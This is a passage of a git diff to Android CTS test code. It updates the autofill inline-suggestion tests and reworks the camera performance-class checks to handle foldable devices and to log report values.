private AutoFillServiceTestCase() {
throw new UnsupportedOperationException("Contain static stuff only");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
index 3bd55d5e74d..b39a080fe47 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
@@ -30,6 +30,7 @@ import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaun
import android.autofillservice.cts.testcore.AutofillActivityTestRule;
import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.InlineUiBot;
import android.content.IntentSender;
import android.platform.test.annotations.Presubmit;
import android.service.autofill.Dataset;
@@ -38,6 +39,7 @@ import android.view.autofill.AutofillValue;
import android.widget.EditText;
import org.junit.Test;
+import org.junit.rules.TestRule;
@Presubmit
public class InlineAugmentedAuthTest
@@ -59,6 +61,11 @@ public class InlineAugmentedAuthTest
};
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Test
public void testDatasetAuth_resultOk_validDataset() throws Exception {
// Set services
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
index a8800c8f777..4d7efcee8f2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
@@ -27,6 +27,7 @@ import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaun
import android.autofillservice.cts.testcore.AutofillActivityTestRule;
import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.InlineUiBot;
import android.content.ClipData;
import android.content.ContentResolver;
import android.content.IntentSender;
@@ -43,6 +44,7 @@ import android.widget.TextView;
import org.junit.Before;
import org.junit.Test;
+import org.junit.rules.TestRule;
import java.util.concurrent.atomic.AtomicInteger;
@@ -71,6 +73,11 @@ public class InlineAugmentedContentTest
};
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Before
public void before() throws Exception {
mContentResolver = mContext.getContentResolver();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
index bae5a21ba0f..9c9e3abd7a7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
@@ -31,6 +31,7 @@ import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
import android.autofillservice.cts.testcore.CannedFillResponse;
import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
import android.support.test.uiautomator.UiObject2;
import android.util.Log;
@@ -41,6 +42,7 @@ import android.view.autofill.AutofillValue;
import androidx.test.filters.FlakyTest;
import org.junit.Test;
+import org.junit.rules.TestRule;
@FlakyTest(bugId = 162372863)
public class InlineAugmentedWebViewActivityTest extends
@@ -70,6 +72,11 @@ public class InlineAugmentedWebViewActivityTest extends
};
}
+ @Override
+ public TestRule getMainTestRule() {
+ return InlineUiBot.annotateRule(super.getMainTestRule());
+ }
+
@Test
public void testAugmentedAutoFillNoDatasets() throws Exception {
// Set service.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
index fef24f10d0a..f1bacb53863 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
@@ -27,6 +27,7 @@ import android.app.Activity;
import android.app.assist.AssistStructure;
import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
import android.content.ComponentName;
+import android.content.Context;
import android.service.autofill.augmented.FillRequest;
import android.util.Log;
import android.util.Pair;
@@ -37,6 +38,8 @@ import android.view.inputmethod.InlineSuggestionsRequest;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
+import com.android.cts.mockime.MockImeSession;
+
import java.util.List;
import java.util.Objects;
import java.util.concurrent.CountDownLatch;
@@ -76,10 +79,19 @@ public final class AugmentedHelper {
runShellCommand("cmd autofill set temporary-augmented-service 0");
}
+ /**
+ * Returns whether MockIme is available.
+ */
+ public static boolean mockImeIsAvailable(Context context) {
+ return MockImeSession.getUnavailabilityReason(context) == null;
+ }
+
public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
@NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
@Nullable AutofillValue expectedFocusedValue) {
- assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true);
+ final boolean hasDefaultInlineRequest = mockImeIsAvailable(activity.getBaseContext());
+ assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue,
+ hasDefaultInlineRequest);
}
public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index 21befa51570..1d519d70d3a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -771,6 +771,7 @@ public final class Helper {
/**
* Gets the total number of nodes in an structure.
+ * A node that has a non-null IdPackage which does not match the test package is not counted.
*/
public static int getNumberNodes(AssistStructure structure,
CharSequence windowTitle) {
@@ -798,14 +799,18 @@ public final class Helper {
/**
* Gets the total number of nodes in an node, including all descendants and the node itself.
+ * A node that has a non-null IdPackage which does not match the test package is not counted.
*/
public static int getNumberNodes(ViewNode node) {
+ if (node.getIdPackage() != null && !node.getIdPackage().equals(MY_PACKAGE)) {
+ Log.w(TAG, "ViewNode ignored in getNumberNodes because of mismatched package: "
+ + node.getIdPackage());
+ return 0;
+ }
int count = 1;
final int childrenSize = node.getChildCount();
- if (childrenSize > 0) {
- for (int i = 0; i < childrenSize; i++) {
- count += getNumberNodes(node.getChildAt(i));
- }
+ for (int i = 0; i < childrenSize; i++) {
+ count += getNumberNodes(node.getChildAt(i));
}
return count;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
index 50892fc04f0..f488f095741 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
@@ -20,14 +20,16 @@ import static android.autofillservice.cts.testcore.Timeouts.DATASET_PICKER_NOT_S
import static android.autofillservice.cts.testcore.Timeouts.LONG_PRESS_MS;
import static android.autofillservice.cts.testcore.Timeouts.UI_TIMEOUT;
+import android.content.Context;
import android.content.pm.PackageManager;
+import android.content.res.Resources;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.Direction;
import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.Timeout;
import com.android.cts.mockime.MockIme;
import org.junit.rules.RuleChain;
@@ -46,12 +48,11 @@ public final class InlineUiBot extends UiBot {
private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
PackageManager.FEATURE_INPUT_METHODS);
- public InlineUiBot() {
- this(UI_TIMEOUT);
- }
+ private final Context mContext;
- public InlineUiBot(Timeout defaultTimeout) {
- super(defaultTimeout);
+ public InlineUiBot(Context context) {
+ super(UI_TIMEOUT);
+ mContext = context;
}
public static RuleChain annotateRule(TestRule rule) {
@@ -73,7 +74,7 @@ public final class InlineUiBot extends UiBot {
* Selects the suggestion in the {@link MockIme}'s suggestion strip by the given text.
*/
public void selectSuggestion(String name) throws Exception {
- final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+ final UiObject2 strip = findSuggestionStrip();
final UiObject2 dataset = strip.findObject(By.text(name));
if (dataset == null) {
throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
@@ -88,7 +89,7 @@ public final class InlineUiBot extends UiBot {
@Override
public void longPressSuggestion(String name) throws Exception {
- final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+ final UiObject2 strip = findSuggestionStrip();
final UiObject2 dataset = strip.findObject(By.text(name));
if (dataset == null) {
throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
@@ -97,14 +98,14 @@ public final class InlineUiBot extends UiBot {
}
@Override
- public UiObject2 assertDatasets(String...names) throws Exception {
- final UiObject2 picker = findSuggestionStrip(UI_TIMEOUT);
+ public UiObject2 assertDatasets(String... names) throws Exception {
+ final UiObject2 picker = findSuggestionStrip();
return assertDatasets(picker, names);
}
@Override
public void assertSuggestion(String name) throws Exception {
- final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+ final UiObject2 strip = findSuggestionStrip();
final UiObject2 dataset = strip.findObject(By.text(name));
if (dataset == null) {
throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
@@ -113,7 +114,7 @@ public final class InlineUiBot extends UiBot {
@Override
public void assertNoSuggestion(String name) throws Exception {
- final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+ final UiObject2 strip = findSuggestionStrip();
final UiObject2 dataset = strip.findObject(By.text(name));
if (dataset != null) {
throw new AssertionError("has dataset " + name + " in " + getChildrenAsText(strip));
@@ -122,7 +123,10 @@ public final class InlineUiBot extends UiBot {
@Override
public void scrollSuggestionView(Direction direction, int speed) throws Exception {
- final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+ final UiObject2 strip = findSuggestionStrip();
+ final int defaultWidth = strip.getVisibleBounds().width() / 4;
+ final int width = getEdgeSensitivityWidth(defaultWidth);
+ strip.setGestureMargin(width);
strip.fling(direction, speed);
}
@@ -133,7 +137,18 @@ public final class InlineUiBot extends UiBot {
}
}
- private UiObject2 findSuggestionStrip(Timeout timeout) throws Exception {
- return waitForObject(SUGGESTION_STRIP_SELECTOR, timeout);
+ private UiObject2 findSuggestionStrip() throws Exception {
+ return waitForObject(SUGGESTION_STRIP_SELECTOR, Timeouts.UI_TIMEOUT);
+ }
+
+ private int getEdgeSensitivityWidth(int defaultWidth) {
+ Resources resources = mContext.getResources();
+ int resId = resources.getIdentifier("config_backGestureInset", "dimen", "android");
+ try {
+ return resources.getDimensionPixelSize(resId) + 1;
+ } catch (Resources.NotFoundException e) {
+ Log.e(TAG, "Failed to get edge sensitivity width. Defaulting to " + defaultWidth, e);
+ return defaultWidth;
+ }
}
}
diff --git a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
index cf02ebe2534..feb5567963f 100644
--- a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
+++ b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
@@ -206,9 +206,9 @@ public class SPerfClassTest extends AndroidTestCase {
}
/**
- * Check camera S Performance class requirement for JPEG sizes.
+ * Check JPEG size overrides for devices claiming S Performance class requirement via
+ * Version.MEDIA_PERFORMANCE_CLASS
*/
- @CddTest(requirement="7.5/H-1-8")
public void testSPerfClassJpegSizes() throws Exception {
boolean isSPerfClass = CameraTestUtils.isSPerfClass();
if (!isSPerfClass) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 28475ec0e67..c938442d90b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -16,6 +16,23 @@
package android.hardware.camera2.cts;
+import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
+import static android.hardware.camera2.cts.helpers.AssertHelpers.assertArrayContains;
+import static android.hardware.camera2.cts.helpers.AssertHelpers.assertArrayContainsAnyOf;
+import static android.hardware.camera2.cts.helpers.AssertHelpers.assertCollectionContainsAnyOf;
+import static android.hardware.cts.helpers.CameraUtils.matchParametersToCharacteristics;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
import android.content.Context;
import android.graphics.ImageFormat;
import android.graphics.Rect;
@@ -34,42 +51,43 @@ import android.hardware.camera2.params.ColorSpaceTransform;
import android.hardware.camera2.params.DeviceStateSensorOrientationMap;
import android.hardware.camera2.params.RecommendedStreamConfigurationMap;
import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.cts.helpers.CameraUtils;
import android.media.CamcorderProfile;
import android.media.ImageReader;
import android.os.Build;
import android.util.ArraySet;
import android.util.DisplayMetrics;
import android.util.Log;
-import android.util.Rational;
-import android.util.Range;
-import android.util.Size;
import android.util.Pair;
import android.util.Patterns;
+import android.util.Range;
+import android.util.Rational;
+import android.util.Size;
import android.view.Display;
import android.view.Surface;
import android.view.WindowManager;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
+import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import java.util.Set;
-
-import org.junit.runners.Parameterized;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
-import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
-import static android.hardware.cts.helpers.CameraUtils.matchParametersToCharacteristics;
-import static junit.framework.Assert.*;
-
-import static org.mockito.Mockito.*;
+import static android.hardware.camera2.cts.CameraTestUtils.MPC_REPORT_LOG_NAME;
+import static android.hardware.camera2.cts.CameraTestUtils.MPC_STREAM_NAME;
/**
* Extended tests for static camera characteristics.
@@ -2570,6 +2588,15 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
@CddTest(requirement="7.5.5/C-1-1")
@Test
public void testCameraOrientationAlignedWithDevice() {
+ if (CameraUtils.isDeviceFoldable(mContext)) {
+ // CDD 7.5.5/C-1-1 does not apply to devices with folding displays as the display aspect
+ // ratios might change with the device's folding state.
+ // Skip this test in foldables until the CDD is updated to include foldables.
+ Log.i(TAG, "CDD 7.5.5/C-1-1 does not apply to foldables, skipping"
+ + " testCameraOrientationAlignedWithDevice");
+ return;
+ }
+
WindowManager windowManager =
(WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
Display display = windowManager.getDefaultDisplay();
@@ -2619,22 +2646,54 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
/**
+ * If meetPerfClass is true, return perfClassLevel.
+ * Otherwise, return NOT_MET.
+ */
+ private int updatePerfClassLevel(boolean meetPerfClass, int perfClassLevel) {
+ if (!meetPerfClass) {
+ return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+ } else {
+ return perfClassLevel;
+ }
+ }
+
+ /**
+ * Update perf class level based on meetSPerfClass and meetRPerfClass.
+ */
+ private int updatePerfClassLevel(boolean meetSPerfClass, boolean meetRPerfClass,
+ int perfClassLevel) {
+ if (!meetRPerfClass) {
+ return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+ } else if (!meetSPerfClass &&
+ perfClassLevel > CameraTestUtils.PERFORMANCE_CLASS_R) {
+ return CameraTestUtils.PERFORMANCE_CLASS_R;
+ }
+ return perfClassLevel;
+ }
+
+ /**
* Check camera characteristics for R and S Performance class requirements as specified
* in CDD camera section 7.5
*/
@Test
- @CddTest(requirement="7.5")
+ @CddTest(requirement="7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8")
public void testCameraPerfClassCharacteristics() throws Exception {
if (mAdoptShellPerm) {
// Skip test for system camera. Performance class is only applicable for public camera
// ids.
return;
}
- boolean isRPerfClass = CameraTestUtils.isRPerfClass();
- boolean isSPerfClass = CameraTestUtils.isSPerfClass();
- if (!isRPerfClass && !isSPerfClass) {
- return;
- }
+ boolean assertRPerfClass = CameraTestUtils.isRPerfClass();
+ boolean assertSPerfClass = CameraTestUtils.isSPerfClass();
+ boolean assertPerfClass = (assertRPerfClass || assertSPerfClass);
+
+ int perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+ int perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+ int perfClassLevelH13 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+ int perfClassLevelH14 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+ int perfClassLevelH18 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
+
+ DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME);
boolean hasPrimaryRear = false;
boolean hasPrimaryFront = false;
@@ -2663,78 +2722,145 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
if (isPrimaryRear) {
hasPrimaryRear = true;
- mCollector.expectTrue("Primary rear camera resolution should be at least " +
- MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
- sensorResolution,
- sensorResolution >= MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION);
+ if (sensorResolution < MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) {
+ mCollector.expectTrue("Primary rear camera resolution should be at least " +
+ MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
+ sensorResolution, !assertPerfClass);
+ perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+ }
+ reportLog.addValue("rear camera resolution", sensorResolution,
+ ResultType.NEUTRAL, ResultUnit.NONE);
// 4K @ 30fps
boolean supportUHD = videoSizes.contains(UHD);
boolean supportDC4K = videoSizes.contains(DC4K);
- mCollector.expectTrue("Primary rear camera should support 4k video recording",
- supportUHD || supportDC4K);
- if (supportUHD || supportDC4K) {
+ reportLog.addValue("rear camera 4k support", supportUHD | supportDC4K,
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ if (!supportUHD && !supportDC4K) {
+ mCollector.expectTrue("Primary rear camera should support 4k video recording",
+ !assertPerfClass);
+ perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+ } else {
long minFrameDuration = config.getOutputMinFrameDuration(
android.media.MediaRecorder.class, supportDC4K ? DC4K : UHD);
- mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
- minFrameDuration < (1e9 / 29.9));
+ reportLog.addValue("rear camera 4k frame duration", minFrameDuration,
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ if (minFrameDuration >= (1e9 / 29.9)) {
+ mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
+ !assertPerfClass);
+ perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+ }
}
} else {
hasPrimaryFront = true;
- if (isSPerfClass) {
+ if (sensorResolution < MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) {
mCollector.expectTrue("Primary front camera resolution should be at least " +
- MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
- sensorResolution,
- sensorResolution >= MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION);
- } else {
+ MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
+ sensorResolution, !assertSPerfClass);
+ perfClassLevelH12 = Math.min(
+ perfClassLevelH12, CameraTestUtils.PERFORMANCE_CLASS_R);
+ }
+ if (sensorResolution < MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) {
mCollector.expectTrue("Primary front camera resolution should be at least " +
- MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION + " pixels, is "+
- sensorResolution,
- sensorResolution >= MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION);
+ MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
+ sensorResolution, !assertRPerfClass);
+ perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
}
+ reportLog.addValue("front camera resolution", sensorResolution,
+ ResultType.NEUTRAL, ResultUnit.NONE);
+
// 1080P @ 30fps
boolean supportFULLHD = videoSizes.contains(FULLHD);
- mCollector.expectTrue("Primary front camera should support 1080P video recording",
- supportFULLHD);
- if (supportFULLHD) {
+ reportLog.addValue("front camera 1080p support", supportFULLHD,
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ if (!supportFULLHD) {
+ mCollector.expectTrue(
+ "Primary front camera should support 1080P video recording",
+ !assertPerfClass);
+ perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+ } else {
long minFrameDuration = config.getOutputMinFrameDuration(
android.media.MediaRecorder.class, FULLHD);
- mCollector.expectTrue("Primary front camera should support 1080P video @ 30fps",
- minFrameDuration < (1e9 / 29.9));
+ if (minFrameDuration >= (1e9 / 29.9)) {
+ mCollector.expectTrue(
+ "Primary front camera should support 1080P video @ 30fps",
+ !assertPerfClass);
+ perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+ }
+ reportLog.addValue("front camera 1080p frame duration", minFrameDuration,
+ ResultType.NEUTRAL, ResultUnit.NONE);
}
}
- String facingString = hasPrimaryRear ? "rear" : "front";
+ String facingString = isPrimaryRear ? "rear" : "front";
// H-1-3
- if (isSPerfClass || (isRPerfClass && isPrimaryRear)) {
+ if (assertSPerfClass || (assertRPerfClass && isPrimaryRear)) {
mCollector.expectTrue("Primary " + facingString +
" camera should be at least FULL, but is " +
toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
staticInfo.isHardwareLevelAtLeastFull());
- } else {
+ } else if (assertRPerfClass) {
mCollector.expectTrue("Primary " + facingString +
" camera should be at least LIMITED, but is " +
toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
staticInfo.isHardwareLevelAtLeastLimited());
}
+ reportLog.addValue(facingString + " camera hardware level",
+ staticInfo.getHardwareLevelChecked(), ResultType.NEUTRAL, ResultUnit.NONE);
+ if (isPrimaryRear) {
+ perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
+ perfClassLevelH13);
+ } else {
+ perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
+ staticInfo.isHardwareLevelAtLeastLimited(), perfClassLevelH13);
+ }
+
// H-1-4
Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
+ reportLog.addValue(facingString + " timestampSource",
+ timestampSource, ResultType.NEUTRAL, ResultUnit.NONE);
+ boolean realtimeTimestamp = (timestampSource != null &&
+ timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
mCollector.expectTrue(
"Primary " + facingString + " camera should support real-time timestamp source",
- timestampSource != null &&
- timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
+ !assertPerfClass || realtimeTimestamp);
+ perfClassLevelH14 = updatePerfClassLevel(realtimeTimestamp, perfClassLevelH14);
// H-1-8
- if (isSPerfClass && isPrimaryRear) {
+ if (isPrimaryRear) {
+ boolean supportRaw = staticInfo.isCapabilitySupported(RAW);
+ reportLog.addValue(facingString + " camera raw support",
+ supportRaw, ResultType.NEUTRAL, ResultUnit.NONE);
mCollector.expectTrue("Primary rear camera should support RAW capability",
- staticInfo.isCapabilitySupported(RAW));
+ !assertSPerfClass || supportRaw);
+ perfClassLevelH18 = updatePerfClassLevel(supportRaw, true /*R*/, perfClassLevelH18);
}
}
- mCollector.expectTrue("There must be a primary rear camera for performance class.",
- hasPrimaryRear);
- mCollector.expectTrue("There must be a primary front camera for performance class.",
- hasPrimaryFront);
+ if (!hasPrimaryRear) {
+ mCollector.expectTrue("There must be a primary rear camera for performance class.",
+ !assertPerfClass);
+ perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+ }
+ if (!hasPrimaryFront) {
+ mCollector.expectTrue("There must be a primary front camera for performance class.",
+ !assertPerfClass);
+ perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
+ }
+
+ reportLog.addValue("Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
+ final String PERF_CLASS_REQ_NUM_PREFIX = "2.2.7.2/7.5/";
+ reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-1",
+ perfClassLevelH11, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-2",
+ perfClassLevelH12, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-3",
+ perfClassLevelH13, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-4",
+ perfClassLevelH14, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-8",
+ perfClassLevelH18, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit(InstrumentationRegistry.getInstrumentation());
}
/**
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index cfc857e5832..e98cee3fed4 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -136,6 +136,8 @@ public class CameraTestUtils extends Assert {
public static final String OFFLINE_CAMERA_ID = "offline_camera_id";
public static final String REPORT_LOG_NAME = "CtsCameraTestCases";
+ public static final String MPC_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
+ public static final String MPC_STREAM_NAME = "CameraCts";
private static final int EXIF_DATETIME_LENGTH = 19;
private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60;
@@ -3737,8 +3739,10 @@ public class CameraTestUtils extends Assert {
return zoomRatios;
}
- private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
- private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
+ public static final int PERFORMANCE_CLASS_NOT_MET = 0;
+ public static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
+ public static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
+ public static final int PERFORMANCE_CLASS_CURRENT = PERFORMANCE_CLASS_S;
/**
* Check whether this mobile device is R performance class as defined in CDD
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
index 5b4b485dc42..df710875e44 100644
--- a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
@@ -17,12 +17,14 @@
package android.hardware.cts.helpers;
import android.content.Context;
+import android.content.res.Resources;
import android.graphics.SurfaceTexture;
import android.hardware.Camera;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.devicestate.DeviceStateManager;
import android.os.Bundle;
import android.os.SystemClock;
import android.util.Log;
@@ -30,8 +32,11 @@ import android.view.TextureView;
import androidx.test.InstrumentationRegistry;
+import java.util.Arrays;
import java.util.Comparator;
import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
import java.util.stream.IntStream;
/**
@@ -273,4 +278,30 @@ public class CameraUtils {
}
}
+ /**
+ * Uses {@link DeviceStateManager} to determine if the device is foldable or not. It relies on
+ * the OEM exposing supported states, and setting
+ * com.android.internal.R.array.config_foldedDeviceStates correctly with the folded states.
+ *
+ * @return true is the device is a foldable; false otherwise
+ */
+ public static boolean isDeviceFoldable(Context mContext) {
+ DeviceStateManager deviceStateManager =
+ mContext.getSystemService(DeviceStateManager.class);
+ if (deviceStateManager == null) {
+ Log.w(TAG, "Couldn't locate DeviceStateManager to detect if the device is foldable"
+ + " or not. Defaulting to not-foldable.");
+ return false;
+ }
+ Set<Integer> supportedStates = Arrays.stream(
+ deviceStateManager.getSupportedStates()).boxed().collect(Collectors.toSet());
+
+ Resources systemRes = Resources.getSystem();
+ int foldedStatesArrayIdentifier = systemRes.getIdentifier("config_foldedDeviceStates",
+ "array", "android");
